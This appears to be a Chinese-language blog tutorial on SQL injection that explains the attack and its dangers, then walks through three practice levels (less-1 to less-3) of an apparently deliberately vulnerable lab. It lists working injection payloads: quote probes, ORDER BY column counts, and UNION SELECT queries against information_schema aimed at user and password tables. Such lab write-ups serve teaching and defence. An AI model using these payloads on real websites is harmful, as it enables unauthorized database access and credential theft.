一、SQL注入简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
二、SQL注入的危害

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作。

SQL注入练习
less-1
首先,构造?id=1 ’,报错,可以确定注入点类型。
1.png
然后判断字段数order by 3的时候正常,order by 4的时候报错,那证明字段就是3个。
2.png
通过union操作查询数据库名
?id=0’ union select 1,database(),3 –+
3.png
然后通过数据库名可查询表名
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=”security”–+
在此基础上很容易获得user表和password
5.pngpw.png

less-2
首先构造?id=1’–+发现报错,不是字符类型
uTools_1648180946285.png
然后判断字段数
?id=1 order by 3 –+
6.png
然后构造?id=1 union select 1,2,3 –+
发现注入点,接下来的操作跟上一题一样

less-3
首先,构造一下
?id=1’,
10.png
报错,通过)闭合,构造,确定字段数为3,之后操作相同
?id=1’) order by 3 –+
11.png